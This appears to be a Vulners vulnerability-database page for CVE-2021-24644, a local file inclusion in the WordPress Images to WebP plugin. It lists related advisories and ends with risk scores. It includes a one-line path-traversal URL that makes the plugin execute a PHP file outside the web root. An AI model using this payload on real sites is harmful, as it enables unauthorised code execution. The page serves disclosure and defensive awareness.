| Reporter | Title | Published | Views | Family All 15 |
|---|---|---|---|---|
 | CVE-2021-24644 | 23 Nov 202120:15 | – | attackerkb |
 | CVE-2021-24644 | 11 Sep 202513:37 | – | circl |
 | WordPress 路径遍历漏洞 | 23 Nov 202100:00 | – | cnnvd |
 | CVE-2021-24644 | 23 Nov 202119:16 | – | cve |
 | CVE-2021-24644 Images to WebP < 1.9 - Authenticated Local File Inclusion | 23 Nov 202119:16 | – | cvelist |
 | EUVD-2021-11556 | 23 Nov 202119:16 | – | euvd |
 | Images to WebP < 1.9 - Authenticated Local File Inclusion | 20 Aug 202604:29 | – | nuclei |
 | CVE-2021-24644 | 23 Nov 202120:15 | – | nvd |
 | CVE-2021-24644 | 23 Nov 202120:15 | – | osv |
 | WordPress Images to WebP plugin <= 1.8 - Authenticated Local File Inclusion (LFI) vulnerability | 19 Oct 202100:00 | – | patchstack |
10
Assuming WordPress installed at C:\xampp\htdocs\wordpress,
https://example.com/wp-admin/upload.php?page=images-to-webp.php&tab=%2F..%2F..%2F..%2F..%2F..%2Fphp_file
This will execute php_file.php at C:\xampp, outside the web-exposed directory.Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
19 Oct 2021 08:54Current
0.5Low risk
Vulners AI Score0.5
CVSS 25
CVSS 3.17.5
EPSS0.05028